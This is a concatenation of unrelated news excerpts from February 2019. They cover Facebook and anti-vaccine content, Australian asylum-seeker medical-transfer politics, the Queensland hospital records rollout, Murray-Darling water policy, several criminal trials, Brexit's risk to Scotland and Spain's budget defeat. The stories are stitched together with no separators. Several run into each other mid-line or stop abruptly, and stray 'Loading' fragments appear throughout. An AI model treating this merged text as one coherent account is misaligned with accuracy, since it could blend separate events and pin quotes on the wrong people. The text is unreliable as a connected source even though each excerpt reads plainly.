Loading "While we work hard to remove content that violates our policies, we also give our community tools to control what they see as well as use Facebook to speak up and share perspectives with the community around them," Facebook said in a statement emailed to The Washington Post. "If the content they're posting crosses the line and violates our policies, we would remove the content as soon as we become aware of it." The company is considering options to make accurate information about vaccinations more accessible to users, but these efforts are in the early stages. In the meantime, Facebook sees factually accurate counter-speech by users as a possible safeguard, he said. Wendy Sue Swanson, a pediatrician at Seattle Children's Hospital and spokeswoman for the American Academy of Pediatrics, recently met with Facebook strategists about dealing with public health issues, including misinformation about vaccines, on the platform.

Swanson said that it's not Facebook's job to police the dialogue around immunisations, but rather to make sure users have ample access to scientifically valid content. "You wouldn't go see a pediatrician who doesn't hold medical certification, but on the internet, you might listen to them," Swanson said. "Facebook isn't responsible for changing quacks but they do have an opportunity to change the way information is served up." But Facebook's algorithms often promote anti-vaccination content over widely accepted, scientifically backed posts or pages about vaccinations. A recent investigation from the Guardian found that Facebook search results regarding vaccines were "dominated by anti-vaccination propaganda." Facebook did not respond to questions from the Guardian about its plans for dealing with the issue. "Using a new account with no friends or likes, the Guardian used Facebook's search bar to begin typing the word 'vaccine'," the investigation said. "Facebook's autofill quickly began suggesting search terms that would steer a user toward anti-vaccine misinformation, such as 'vaccination reeducation discussion forum,' 'vaccine reeducation,' 'vaccine truth movement' and 'vaccine resistance movement.' Facebook also accepted advertising revenue from Vax Truther, Anti-Vaxxer, Vaccines Revealed and Michigan for Vaccine Choice, among others, according to another investigation from the Guardian.

Loading A recent study from the Credibility Coalition and Health Feedback, a group of scientists that evaluates the accuracy of health media coverage, found that the majority of the most-clicked health stories on Facebook in 2018 were either fake, or contained a significant amount of misleading information. The study looked at the top 100 health stories with the most engagements on social media, and had a network of experts assess their credibility. The study found that less than half were "highly credible." Vaccinations ranked among the three most popular story topics. "Considering that the number of shares for neutral and poorly-rated articles amount to almost half the total shares, this indicates that more work needs to be done to curb the spread of inaccurate health news," experts wrote in the study.

"Much of the spread is facilitated by Facebook, which accounts for 96 per cent of the shares of the top 100 articles." Health-related content is eligible to be reviewed by Facebook's fact-checking partners, meaning content that's found to be misleading or false will be demoted in users feeds and appear along with related articles from fact-checkers. But this doesn't work in groups, where the bulk of anti-vaccination material is spread. A working paper published in November by the National Bureau of Economic Research looked at the role of Facebook in spreading false information about vaccines. The paper found that Facebook's ban on ads that linked to fake news stories did lead to a decrease in shares of anti-vaccination content. But in anti-vaccination circles, ads aren't the primary issue - people are. The paper found that anti-vaccination groups on Facebook tend to pass around the same misleading links and junk science, then end up spreading the information to the broader public through likes, shares and word of mouth.Washington: A lottery winner in Jamaica has claimed his $US1.1 million ($1.55 million) prize wearing a white cape, black gloves and the mask from the classic slasher franchise Scream so as to hide his identity from his relatives.

The Super Lotto winner, who was identified only as A. Campbell, made a memorable appearance at the Spanish Court Hotel in Kingston last week to collect his prize, worth more than 158 million Jamaican dollars.

Ghostface, in Wes Craven's Scream movies.

It took him 54 days to muster up the courage to do it, Supreme Ventures, which operates the game in the Caribbean, said.

Campbell told the Jamaica Star newspaper that, after he won in November, he felt sick for days "because I was thinking so much". But when he showed up on February 5 to pick up his cheque, he said he was feeling better.Victorian Water Minister Lisa Neville has urged her federal Labor counterparts not to mess with the Murray-Darling Basin Plan by overturning restrictions on how much water can be bought from irrigators and returned to the environment, warning that regional communities will suffer.

The Bill Shorten-led opposition introduced a bill on Wednesday, which would remove a cap the federal Coalition imposed on how much water in the Murray-Darling basin the Commonwealth can purchase to be returned to the environment.

The Murray River near its juncture with the Goulburn River earlier this year. Credit:Peter Hannam

The pledge comes in the wake of mass fish kills in the Darling River in NSW, which is at extremely low levels.

But the pledge to make it easier to return water to the ailing Murray-Darling environment is at odds with the position of the Andrews government, which has consistently argued regional Victorian communities that depend on the Murray for irrigated water cannot afford to reduce their allocations.Remote Victorian forest the Andrews government promised just days before the state election would become home to a future world-class hiking trail is already being cleared for timber, with the state's forestry corporation insisting it was not told about the pledge.

Conservation advocates said the clearfelling risks ruining the forest walk before it even opens, but VicForests has hit back, saying that it was not consulted about the promised trail, which runs through dozens of areas where it has already signed contracts for timber harvesting.

The 'sea to summit' trail would pass through forest on the Errinundra Plateau. Credit:Goongerah Environment Centre

Eight days before last year's election, Labor promised to spend $1.5 million planning an iconic multi-day hiking trail in East Gippsland.

The 120-kilometre trail would extend from the Cape Conran Coastal Park to the summit of Mount Ellery and the alpine forests of the Errinundra Plateau, meandering through some of the states largest remaining areas of unspoiled wilderness.Senator Brian Burston has denied offering to "f---" a staff member to make her feel better, as a bitter dispute erupts on the crossbench over a series of bombshell sexual harassment allegations.

Rejecting the allegation contained in a lengthy complaint sent to the Department of Finance last year and seen by The Sydney Morning Herald and The Age on Wednesday, the United Australia Party senator launched his own attack on Pauline Hanson, claiming the One Nation leader had twice sexually harassed him.

Senator Hanson denied the allegation on Wednesday night during a rushed appearance on Sky News, saying: "A lot of men have tickets on themselves and Brian Burston, don't go out in Canberra, it's very windy tonight.

"I might be 64 but I'm not that desperate. These are allegations that have been made up, there are no truth to them whatsoever and I feel sorry for his wife, I really feel sorry for his wife."For Labor MP Linda Burney, there was never a question about what colour she would wear in her official portrait as the first Aboriginal woman elected to the House of Representatives.

The portrait, unveiled at Parliament House on Wednesday, depicts a proud, determined Burney wearing a fabulous red ensemble by Australian designer Carla Zampatti.

"I didn't want it to be another portrait of someone in a suit," the Labor frontbencher says of the painting, which will be displayed in a gallery dominated by white, male former prime ministers and presiding officers.

Labor MP Linda Burney with her official portrait by the artist Jude Rae. Credit:Dominic Lorrimer

For the Sydney MP, red is "the most powerful of all colours".The estimate of 300 cases is in line with the estimate from Australian doctor Nick Martin, who was based on Nauru in 2016 and 2017 and told The Age and The Sydney Morning Herald last week that about 30 per cent of the 1,000 people on the islands would seek a transfer. Independent MP Kerryn Phelps and Greens leader Richard Di Natale have also predicted several hundred asylum seekers could qualify for transfer and treatment. Mr Morrison ramped up the alert on border security by convening the national security committee of cabinet, seeking briefings from Australian Border Force officials and warning that people smugglers in Indonesia would use the new law in Australia to encourage people onto boats. "My job now is to ensure that the boats dont come," he said. "If they dont come, it will be because of the work and the decisions we are now taking and the actions we are putting in place.

"If they do come, you can thank the Labor Party and Bill Shorten because he is the one who has led this process. He has led this process to weaken and compromise our borders." The new law only applies to the 1,000 people currently on Manus Island and Nauru but Mr Morrison hedged when asked to confirm this fact on Wednesday, saying people smugglers did not care about the "nuance" of the law. Prime Minister Scott Morrison attacks Bill Shorten in Question Time. Credit:Dominic Lorrimer Labor workplace relations spokesman Brendan O'Connor said the Prime Minister had chosen to "misrepresent the truth" and "lie to the Australian people" in an attempt to gain political advantage when he should be safeguarding the national interest. "Most remarkably and outrageously, weve seen him announce the opening of Christmas Island. Well if this wasnt the biggest advertisement to people smugglers, I dont know what is," he said.

Loading "To open up a taxpayer funded motel in Christmas Island to basically advertise to people smugglers in the region that indeed business is back - that is a desperate act." Former prime minister Tony Abbott said the Labor rules would mean people could get on a boat, get to Nauru, get sick and get to Australia  making no mention of the fact the new law did not apply to new boat arrivals. Labor legal affairs spokesman Mark Dreyfus said Mr Morrison had chosen to endorse lies. The government has not said how many medical transferees will likely live in the community and how many will need to be held in detention centres.

The new law states that those who are transferred must be in detention but Labor argues this continues to allow the Immigration Minister to release them into community detention. Most refugees who arrived by boat have gone into the community in the past. As of December, 380 boat people were in detention and 15,674 in the community. The likelihood of an imminent boat may be lessened by the fact it is monsoon season in Indonesia. The monsoon, which has historically dampened - though not stopped - asylum-seeker journeys, peaks in January and February. Jacinta Carroll, a former national security official who worked in border protection and is now based at the Australian National University, said people smugglers would likely use the change to market themselves but she doubted this would produce a flood. I dont think we can see what we saw before.It is a difficult task, indeed, to diagnose the precise cause of the unique hysteria that grips Australians over the issue of asylum seekers.

Asylum seekers on Nauru. Credit:Angela Wylie

Its all too easy to chalk up the widespread alarm at our quaintly named illegal maritime arrivals to casual racism or a deep rooted fear of "other".

Or could it be compassion that drives us?

More recently, harsh border protection measures have been sold to a willing public as necessary means to avoid the disastrous ends of vulnerable people being coerced into leaky boats to die at sea.Bill Shorten will know more than most people that facts cannot stop a scare campaign.

The Opposition Leader has limited options to counter the incendiary government claim that his new policy on refugee medical transfers will send a wave of asylum seekers to Australian shores.

So loud are the government warnings, it is as if Prime Minister Scott Morrison wants his words to be heard in every fishing village on the Indonesian coast.

This makes the facts more important than ever.The Senate has passed the medical transfer bill that has consumed Parliament this week, despite 11th hour attempts to persuade independent senator Derryn Hinch to change his mind and scuttle the proposal.

Moments before the bill passed, Prime Minister Scott Morrison announced he had reopened the mothballed Christmas Island detention centre and commissioned Operation Sovereign Borders to be "strengthened".

Derryn Hinch shakes hands with crossbench MPs Julia Banks and Kerryn Phelps in the Senate on Wednesday. Credit:Alex Ellinghausen

Senator Hinch  whose vote was crucial  said it had been "a very tortured 24 hours" and he was "still perplexed" by some aspects of the bill, which will enable easier medical transfers of sick refugees from Manus Island and Nauru to Australia.

But Senator Hinch said he was satisfied there were enough safeguards in the bill to ensure it did not undermine Australia's security, including the commitment that transfers can only be accessed by the 1000 people currently on the islands, not any future arrivals.Supporters of a teenage girl critically injured when the speed boat she was racing in flipped on Sunday are raising money to help her family through the ordeal.

Phoebe Knudsen was racing a 15hp senior class speed boat on the Swan River near Burswood about 1.30pm when she lost control.

Phoebe Knudsen Credit:GoFundMe

The 17-year-old was trapped under the boat for several minutes while rescue divers worked frantically to free her.

Phoebe was rushed to Royal Perth Hospital where she was placed in an induced coma.Prosecutors will appeal the nine-year sentence handed down to a man who tried to kill a Perth policeman by slashing his head open with a samurai sword.

Police officer Andrew Swift lost a litre of blood and received 25 stitches to his head after being attacked with a samurai sword.

Milos Radovic stood trial in the WA Supreme Court last year charged with attempting to murder Senior Constable Andrew Swift, who had been called to a domestic dispute in Rockingham in July 2017.

The officer was trying to arrest the 47-year-old former boxer at the time when the man swung a samurai sword towards him, striking the officer on the head.

The attack left Senior Constable Swift with shocking head injuries. He required 25 stitches, suffered a fractured skull and lost a litre of blood.Police have released CCTV footage of the May 31 incident.

Police have slammed the "horrific" attack on the home of a bikie boss after the innocent lives of a neighbouring mother and her children were put at risk when gunmen sprayed bullets from the street.

Detectives have released CCTV footage of the incident as part of an ongoing investigation into the attack on the rented Frankston home of James Reker, a known Finks motorcycle gang leader, on May 31 last year.

Reker, his wife and two-week-old baby were asleep in the Warrain Street home when his parked car was set alight in front of the house before 5am.

Footage shows one man run from the flame-engulfed vehicle to the driver's seat of a getaway Mitsubishi Lancer while a second assailant repeatedly shoots at Reker's home.Dr Ashby resigned late last month for personal reasons after Mr Walsh referred allegations of an undeclared personal relationship with a Queensland Health staffer to the Crime and Corruption Commission. Loading The CCC has been investigating eHealth Queensland, the department responsible for the ieMR, for months. The ieMR is designed to connect all the states public hospitals, allowing all clinicians to access any patients medical record from any hospital. Clinicians have expressed strong support for installing an electronic medical record at hospitals, believing it will improve patient care and lower the burden on the health system, but have raised concerns the ieMR is not being rolled out safely.

One letter from clinicians said while they were supportive of electronic health systems, they protested the rollout of inferior systems that risked patient health. Mr Miles said issues or suggestions on the ieMR rollout were dealt with as they occurred. "No hospital or health service would even attempt a transformative project of the scale and importance of digital hospital without the backing of the majority of clinicians and other stakeholders," he said. A Brisbane Times investigation has revealed serious safety concerns with the ieMR, including an independent 2014 report that warned of potentially catastrophic consequences on a par with the 2011 payroll debacle if the software was rolled out. Queensland Health requested that report be modified to remove the warnings. The independent consultant who wrote the report refused.

Mr Miles had earlier questioned why the LNP did not heed the report commissioned during the Campbell Newman LNP government and said Labor had made changes to address some of the report's concerns. In one letter, a clinician wrote that the ieMRs prescribing system was prone to mistakes especially in a rapidly evolving situation of a critically sick patient. The ieMR software was purchased off-the-shelf from US medical technology giant Cerner in 2011 and is modified to suit each hospital as it is rolled out. "The Director-General himself personally meets with clinicians twice ahead of any digital hospital rollout to understand they are happy with the training they have received, and asks them whether they believe the system can go live safely and effectively," Mr Miles said.

"If the clinicians don't believe this is the case, the rollout does not proceed." Cerner has been contacted for comment by Brisbane Times and has not provided a response to questions. Ongoing concerns In July 2018, the Australian and New Zealand Intensive Care Society wrote to Mr Miles on behalf of Queensland intensive care specialists, calling for genuine dialogue to resolve the concerns of their members. ANZICS president Stephen Warrillow wrote in the letter that the association would advocate for an independent and expert review should concerns persist.

Dr Warrillow told Brisbane Times that while some concerns raised by clinicians had been recognised since he wrote the letter, and efforts were being made to fix them, others persisted. Loading Describing intensivist clinicians as technically minded people who work with some of the sickest patients in Queensland - a highly structured, highly trained, elite team - Dr Warrillow said they were eager to see high-quality software installed to help them care for their patients. He said his Queensland colleagues did not feel all their concerns had been listened to, and it would be sensible and correct for an independent review to be undertaken if their concerns continued without change. It is good governance and simply sensible to ask for an appropriate body to make any appropriate inquiries, he said.

These are not people who complain lightly. If they are finding it difficult we would be wise to listen. One letter from a clinician, obtained by Brisbane Times, warned of patient risks through the ieMRs intensive care module and said we cannot remain silent and allow this risk to continue. If potential for harm to a person is seen and this risk can be removed or reduced - we cannot remain silent and allow this risk to continue, the clinician wrote on behalf of colleagues. If a patient is harmed and we have done nothing to address a potentially preventable harm, the tort of negligence is fulfilled and we are liable for the consequences of this."

The clinicians letter said the feedback from Queensland Health had been that clinicians [lacked] education and engagement with the system, but that all the clinicians at the hospital using the software found it inappropriate for the intensive care unit. Loading The letter said clinicians would work hard to train completely in the ieMR software, but they could not be held to blame entirely for such issues. While these measures will demonstrate our commitment and engagement with the digital hospital, I fear that the risk of harm to patients is not generated solely by lack of education or engagement with staff, but also by the system itself, the letter warned. Mr Miles said the "most important" part of the ieMR's roll-out was ensuring patients were safe and staff were confident in using the system.

"Training is just one element of that support," he said. "Hospital and Health Services' digital hospital project co-ordinators and patient safety officers are present in each ward or hospital department, as their relevant module goes live, and afterwards." Another letter from clinicians in mid-2017 about Cerner's anaesthetics module, SA Anaesthesia, said they had been told "non-Cerner software will be unavailable as of 2020". "Despite early grave reservations about the product there has been a relentless drive to roll out SAA, including the purchase of expensive software," the letter signed by multiple clinicians said. "Any deficiencies that we identified as a group were forwarded to either Cerner or the SAA Governance Committee and universally dismissed as either trivial or an end-user problem."

The letter said clinicians were "enthusiastic" about digital programs in hospitals but believed the Cerner software "will profoundly affect patient safety and care". Another letter about Cerner's anaesthetics software from clinicians said the SA Anaesthesia software was "unacceptable to frontline anaesthetic clinicians" because of multiple issues. Medical concerns Loading Clinicians at Mackay Hospital were named and shamed on weekly reports sent out by the Queensland Health team responsible for the ieMRs rollout if they werent compliant, according to a 2018 AMAQ letter to Queensland Health director-general Michael Walsh.

Any clinician who made an error with the ieMR was named on a weekly report for not achieving 100 per cent compliance, which had a detrimental effect to hospital morale. In September 2018, the AMAQ wrote to Mr Walsh and chief clinical information officer, Keith McNeil, detailing concerns raised by Mackay Hospital clinicians. The detailed letter, obtained by Brisbane Times, noted several major problems across multiple areas of the ieMR installed at Mackay Hospital, including the softwares intensive care, anaesthetics and obstetrics modules. Mr Miles said the safety risks of not transitioning to a digital system were "considerably higher" than staying on paper, "given the known risks of paper-based systems such as duplication, illegibility, lost records, timeliness and other safety issues". Ward rounds doubling in length, medications going missing in the system and patients not receiving prescribed blood tests or receiving unnecessary blood tests were several examples cited in the letter of the ieMRs impacts.

We understand that many of these issues have been raised with the Digital Health Team without a satisfactory outcome to date, the AMAQs letter said. We also note that the Digital Health Team sends out weekly reports listing staff who have not been 100 per cent compliant with various aspects of use of the system. Loading While the intent may be to encourage compliance, it has a detrimental effect on culture within the hospital given the reason for non-compliance is often the unintuitive user interface, the poor fit to workflows of the software and inadequate or malfunctioning equipment. Queensland Health chief clinical officer Keith McNeil responded to the AMAQs letter on behalf of the director-general.

Dr McNeil wrote that the Princess Alexandra Hospital, the first hospital to go live with the ieMR, had also noted issues but over the 18 months since installation they were no longer considered to be an issue and that was as a result of training on the ieMR. He wrote there was no evidence to indicate that the system was time-consuming or difficult to work with when properly used. Like other areas of clinical practice, appropriate and comprehensive training is important, he wrote. A motion submitted to the AMAQ council in March 2018, obtained by Brisbane Times, detailed nine key concerns clinicians had about the rollout of the ieMR software. The motion, passed unanimously, proposed a new committee of experts and clinicians be formed to collate, analyse, advise and disseminate information on benefits, disbenefits as well as clinician concerns about the ieMR.A Queensland man who killed his wife during an argument 18 years ago, secretly buried her, dug her up a few years later and buried her again has been acquitted of her murder.

Edmund Ian Riggs, 60, has instead been found guilty of the manslaughter of his wife of 17 years, Patricia Anne Riggs, in September 2001 at their home in Redcliffe, north of Brisbane.

Patricia Anne Riggs' remains were discovered at the family home. Credit:AAP/Supplied

The Brisbane Supreme Court jury accepted Riggs' testimony that Patricia died after he pushed her in reaction to her spitting on him as they fought at their home.

She hit her head on the bed and he panicked when he realised she was dead.It took just 10 seconds for Morgan Alexander Isles-English to end his estranged father's life with a single blow to the head.

With time served in pre-sentence custody, Isles-English, 27, will now spend at least the next five years in prison.

Varri Telfer, pictured leaving the Supreme Court, witnessed the blow that led to her husband's death. Credit:AAP Image/Dave Hunt

As she sentenced him on Wednesday, Justice Soraya Ryan said the troubled son didn't mean to kill his father, Mark English, in July 2016.

"It's not suggested the punch itself involved particular force but it caused the deceased to fall backwards and his head landed on the concrete," she told the Brisbane Supreme Court.The Department of Environment and Science has confirmed it will investigate Adani after water from the north Queensland floods spilt from the Abbot Point coal port last week into wetlands.

The department's test results came back on Wednesday and showed the level of "total suspended solids" - the volume of debris such as soil, plant material or dust - in the water was 33mg/L.

An aerial image taken on Saturday, February 9 shows discoloured water in settlement ponds (left foreground) and in the Caley Valley wetlands (right foreground). Credit:Gary Farr - Supplied

Adani said on Tuesday the level of total suspended solids was 58mg/L, according to the separate test it commissioned. The authorised maximum level according to the company's licence is only 30mg/L.

Adani did not apply for a temporary licence to exceed its total suspended solids limit.A speechless stroke victim was given Panadol every night for a gruesome catheter wound that had gone untreated, the royal commission into aged care has heard.

The man's wound was discovered by an agency nurse on a casual shift who said she was "blown away" that no other staff had inspected the man to discover the cause of his pain.

The royal commission into aged care has already heard damning evidence about the way elderly and vulnerable people are treated in aged care. Credit:Louise Kennerley

The Royal Commission into Aged Care Quality and Safety, sitting in Adelaide, has been told that the pressures on the aged care sector have become "alarming", leading to untenable workloads for staff and unsafe environments for nursing home and residential care patients.

It has heard shocking details of the conditions endured by some of the most vulnerable people in society, including elderly people being left in sodden incontinence pads until they developed pressure sores, and being physically abused in care.A man has received serious leg injuries and needed to be freed with hydraulic rescue tools after being trapped in a machine during the ACT government's $6.8 million public housing demolition on Northbourne Avenue.

The worker was injured in a skid-steer loader about 12.30pm on Wednesday at the Northbourne Flats' Turner site, in what the ACT's work safety watchdog described as a serious incident.

Emergency services transported the man in a stable condition to Canberra Hospital for treatment after freeing him from the machine.

WorkSafe ACT is investigating the injury on Condamine Street, where the territory government is pulling down the decades-old former public housing flats.

The watchdog has made an order stopping the site of the incident from being disturbed, and prohibiting workers from using the loader.Only a federal royal commission with "real teeth" can uncover the corruption and mismanagement that is killing the nation's biggest river system, the Murray-Darling Basin, leading Indigenous groups say.

The demand was a centrepiece of issues raised by hundreds of water activists who gathered in Canberra on Wednesday, including some who staged a protest in the Marble Foyer of Parliament House.

Protest against fracking and Indigenous issues in the foyer at Parliament House on Wednesday. Credit:Dominic Lorrimer

"The federal royal commission must have real teeth," Michael Anderson, acting chair of the Northern Basin Aboriginal Nations, said. "It's got to have the power to recommend prosecutions."

The call, which dovetailed with the Greens' plan to introduce a bill for a royal commission in the Senate, is aimed at breaking up "an incestuous relationship between the National Party and farmers" that had led to the unsustainable over-allocation of water extraction from the rivers, Mr Anderson said.Disney has released the first trailer for Frozen 2, the anticipated sequel to the 2013 animated hit.

The nearly two-minute long preview is packed with action, but doesn't elaborate much on the plot or the songs kids will have on repeat come November.

The trailer, which has earned over 8 million views in its first few hours, begins with Elsa (Idina Menzel) running into the ocean, using her ice powers to run over crashing waves. We don't know why she's doing it, but it suggests the second film will take the characters beyond the mountains and fjords of their Arendelle home.Bill Cosby is shedding light on his day-to-day life behind bars and, according to his spokesman, it's not so bad.

"Despite the circumstances, [Cosby] said, 'This is an amazing experience,'" Andrew Wyatt, the 81-year-old actor and comedian's representative, said in an interview.

Bill Cosby in court in September last year. Credit:AP

Cosby also said he has "no remorse" and never will, and compared himself to the likes of Martin Luther King, Jr., Mahatma Gandhi, Nelson Mandela and other "political prisoners".Shell has blasted the federal government over climate and energy policies saying business needs to take the lead on climate action, and the Coalition blaming high gas prices on exports "cannot go unchallenged".

In a speech, Australia chief Zoe Yujnovich lashed the government's performance on climate change and threats to cut off gas exports, saying industry needs to take the lead on climate and energy as governments are unable to "sell" their constantly changing policies.

Ms Yujnovich, speaking at the Melbourne Mining Club on Wednesday, said the last five Australian prime ministers had been ousted, in part, due to climate and energy policies and these continual failures means business must step in to ensure continued energy investment.

Shell Australia chairman Zoe Yujnovich said industry must help to direct government to create a durable energy policy after more than a decade of failed energy and climate policies. Credit:Ben Rushton

Energy and climate policies look set to be prime battlegrounds for the hearts and minds of voters. The last thing this industry needs are policy backflips and turmoil, Shell Australia chairman Zoe Yujnovich said.Zilingo's path to becoming a fashion platform with a valuation approaching $US1 billion ($1.4 billion) began in December 2014 when Ankiti Bose, then an analyst at Sequoia India, chatted with a neighbour at a house party in the Indian tech capital Bengaluru.

A chat with a neighbour has changed Ankiti Bose's life. Credit:Bloomberg

Bose, then 23, and Dhruv Kapoor, a 24-year-old software engineer at gaming studio Kiwi, quickly realised they had complementary skills and similar ambitions to build their own startup.

Four months later they had quit their jobs, and each had put in their $US30,000 in savings to found Zilingo, an online platform that helps merchants in south-east Asia to build up their businesses.

On Tuesday, the Singapore-based company said it raised $US226 million from investors including Sequoia Capital and Temasek Holdings Pte. The latest financing valued Zilingo at $US970 million, according to people familiar with the matter, who asked not to be named because the information is private. That makes 27-year-old Bose among the youngest female chief executives to lead a startup of this size in Asia.Germany's biggest airline Lufthansa sued a passenger in 2018 after he failed to board the final leg of his flight from Seattle to Oslo, according to a CNN report.

The unnamed male passenger had booked a return flight from Oslo to Seattle, with a layover in Frankfurt. He used all legs of the outbound flight, but on the return flight didn't board the final leg from Frankfurt to Oslo.

Lufthansa took a passenger to court for not boarding the final flight of his journey. Credit:Bloomberg

Instead, the passenger took a separate flight from Frankfurt to Berlin. The move suggested he was engaging in a practice known as "hidden city ticketing".

Hidden city ticketing involves booking a flight that includes a layover with the intent of travelling to the layover city rather than the final destination.Billions of dollars in super savings have moved from bank-linked retail funds to union-linked industry funds in recent months, as workers react to misconduct revealed by the banking royal commission.

Australias largest industry fund, Australian Super, says it has received nearly $4 billion in super savings directly from the retail sector in the past seven months. And the $37 billion hospitality sector fund Hostplus said membership had jumped a net 350 per cent during 2018.

Vast amounts of money are flowing into industry super funds after the banking royal commission. Credit:Jessica Shapiro

The banking royal commission found multiple instances of excessive fees and inappropriate hawking of products by wealth management firms. While industry superannuation funds were included in the royal commission, they emerged largely unscathed.

Since then two of the biggest industry funds claim membership has increased dramatically at the expense of bank-linked funds. For example, Hostplus said it had seen a 145 per cent net increase in funds coming from the retail sector in the 12 months to January 2019, compared to the same period a year before.Germany's Central Council of Jews is calling for action following a report showing a rise in anti-Semitic attacks in the country.

The Tagesspiegel newspaper reported that preliminary government figures provided at the request of the Left Party to parliament showed 1,646 anti-Semitic crimes registered in 2018, up from 1,504 in 2017.A no-deal Brexit would lead to a "major dislocation" to the Scottish economy, according to the country's chief economist.

In a State of the Economy report published on Wednesday, Scotland's chief economic adviser, Gary Gillespie, indicated that disruptions to logistics, supply, trade, investment, migration and market confidence could cause a "significant structural change in the economy".

The analysis suggested that although the country had experienced a "positive year" economically, with growth in areas such as exports and high labour market performance, uncertainty around the UK's withdrawal from the EU remained a "live risk".

The report highlighted business activity softening towards the end of 2018, with business confidence also becoming weaker, attributed to growing uncertainty over Brexit.

It also pointed to forecasts that the Scottish economy is expected to grow by between 1% and 1.5% over 2019, although indicated that these would need to be reconsidered in the absence of an orderly departure from the EU.

The UK is expected to leave the EU on March 29, however Prime Minister Theresa May has not been able to gain sufficient support from MPs to support her deal.

Last month, MPs in Westminster voted against a proposal put forward by Labour's Yvette Cooper to delay Brexit in order to prevent the UK leaving without a deal.

First Minister Nicola Sturgeon and Permanent Secretary to the Scottish Government Leslie Evans with Deputy First Minister John Swinney Picture: Andrew Milligan/PA Wire.

An amendment by Conservative MP Sir Graham Brady was backed by MPs however, with Theresa May urging colleagues to support it.

The amendment granted the Prime Minister a mandate to return to Brussels and re-open negotiations in order to secure a change to the Irish backstop.

The Scottish Government's Economy Secretary, Derek Mackay said: "Scotland's economy continues to perform well with further growth and record low unemployment.

"But we cannot ignore the fact that this is being put at risk by the increasing uncertainty associated with Brexit, and in particular the risk of a no-deal scenario.

Brexit, in whatever form, will cost jobs, make people poorer, damage our society and undermine the democratic decision of the people of Scotland to remain in the EU.

"It is vital that the UK Government takes immediate and urgent steps to rule out a no-deal Brexit, which threatens to have devastating consequences for our economy and extend the Article 50 process.

"Our first priority is staying in the EU, in line with the overwhelming vote in Scotland to remain, and we support another referendum on EU membership.

"Short of that, the least damaging option is to remain in the customs union and European single market of 500 million people, eight times larger than the UK market alone."

Scottish Liberal Democrat leader Willie Rennie said: "The Scottish economy is fragile, with low growth and businesses and consumers worried about the future.

"Conservative neglect and Labour compliance has taken us to the brink of a no-deal Brexit which would devastate the Scottish economy.

"It's clearer than ever that we need a People's Vote and an exit from Brexit."

Scottish Labour leader Richard Leonard said: "This report shows the urgent need for Theresa May to take the threat of a no deal Brexit off the table, but also that our economy needs fundamental change.

"Productivity is critical yet the Scottish Government is nowhere near the targets it set itself.

"Labour will put power, wealth and opportunity back into the hands of people by boosting their wages and giving them more control in our economy, with an industrial strategy to drive growth."

A UK Government spokesman said: "The best way to avoid no deal is for parliament to agree a deal.

"Our deal is the best deal available for jobs and the economy across the whole of the UK, allowing us to honour the referendum and realise the opportunities of Brexit."

-Press AssociationA convicted child killer was mutilated by his two alleged killers to an extent that investigators could not say exactly how many times he was stabbed, a court has heard.

David Gaut, 54, was allegedly held down on the floor of his neighbour's flat and repeatedly stabbed with knives leaving him with "gaping wounds" across his body.

David Osborne, 51, and co-accused Ieuan Harley, 23, are accused of murdering Mr Gaut just hours later after learning he had served over 32 years in prison for murdering 15-month-old Chi Ming Shek in 1985.

On Wednesday Newport Crown Court heard some of the injuries, at least 150 of which were delivered while he was alive and another 26 after his death, were so gruesome that pictures had deliberately been kept away from the jury.

Prosecutor Ben Douglas-Jones QC said Mr Gaut suffered grouped stab injuries across his body, as well as wounds to his skull, both eyes, his neck, and near his mouth.

He also said the tip of a knife had broken off into Mr Gaut's sternum after it was plunged into him.

Mr Douglas-Jones said: "He was stabbed so many times you can not tell how many times he has been stabbed in one place."

He added:

He was conscious and unable to move. He was held in one place.

The prosecutor said the stab wounds caused a "torrential haemorrhage" which led to Mr Gaut's death.

He said some photos of Mr Gaut's injuries had not been shown to the jury because they were "distressing".

Mr Douglas-Jones said Harley and Osborne used two knives, one which had later been cleaned and left on a draining board in Osborne's flat, to stab Mr Gaut while he was still alive, and a screwdriver after his death.

Mark Cotter QC, representing Osborne, said the evidence "falls short" of proving his client had attacked Mr Gaut.

He said there was no pathological evidence that Mr Gaut had been held down while he was stabbed, and pointed out a second knife which the prosecution say was used has never been found.

Harley declined to give evidence in court, but his barrister Caroline Rees QC told the court on Tuesday that he had been asleep in another room in Osborne's flat at the time Mr Gaut was killed.

Mr Douglas-Jones described Harley's claims that his clothes which were found saturated in Mr Gaut's blood had been stolen from him and used by someone else as "fanciful in the extreme".

Harley's left Reebok trainer was also matched up with a shoe print left in a pool of Mr Gaut's blood.

Prosecutors say attempts were then made to clean up the murder scene, dispose of bloodied clothing and set fire to a car to destroy incriminating evidence.

The jury heard that hours before Mr Gaut died on the night of August 2, his neighbours in Long Row, New Tredegar, discovered he had not been to prison for murdering a soldier but had in fact killed a child.

Osborne, from Long Row, Elliots Town, New Tredegar and Harley, of no fixed address, deny the murder of Mr Gaut between August 1 and 4 last year.

Harley and Darran Evesham, 47, from Powell's Terrace, New Tredegar, also deny perverting the course of justice, which Osborne admits.

Evesham had earlier been acquitted of Mr Gaut's murder on the direction of the judge.

-Press AssociationA former counterintelligence agent with the US air force has been accused of revealing classified information to Iran.

The Justice Department announced an indictment against Monica Elfriede Witt, who defected to Iran in 2013 and is currently at large.Catalan separatist and right-wing politicians in the Spanish parliament's lower house have rejected the ruling Socialist government's 2019 budget plan, opening up a new political crisis.

The Spanish prime minister's office said Pedro Sanchez plans to announce on Friday whether he will call an early election, after losing the vote by 191-158, with one abstention.

The Moncloa Palace said Mr Sanchez's decision will be announced after a weekly cabinet meeting.

Two officials in the ruling Socialist party said the best date for an election at the moment is April 28, less than one month before local, regional and European Parliament elections set for May 26.

One of them said that despite losing the budget vote, the Socialist party and the government are still considering "all options".

The only other time that a Spanish government lost a budget vote, in 1995, the Socialists were forced to dissolve the parliament and call an election.

Opposition leader Pablo Casado, head of the conservative People's Party, said Wednesday's vote was "a de facto confidence vote against Pedro Sanchez".

Catalan deputies from pro-independence parties had demanded to open talks on the north-eastern region's self-determination in exchange for supporting Mr Sanchez's spending proposal, but the centre-left minority government had rejected that.

The socialist party holds only 84 seats in the 350-seat lower house.

Spain Prime Minister Pedro Sanchez. Picture: AP Photo/Manu Fernandez.

Its votes and those of the anti-austerity Podemos party were not enough to counter a majority of centre-right, conservative and smaller parties voting in favour of six blanket objections.

Mr Sanchez became prime minister in June when the Catalans joined the anti-austerity Podemos and other smaller parties in backing a no-confidence vote against his conservative predecessor Mariano Rajoy.

Without parliamentary support, Mr Sanchez's government cannot pass significant legislation and would need to prolong Mr Rajoy's 2018 spending plan.

That leaves the centre-left administration without funds for social policies that are key to retaining Podemos's support.

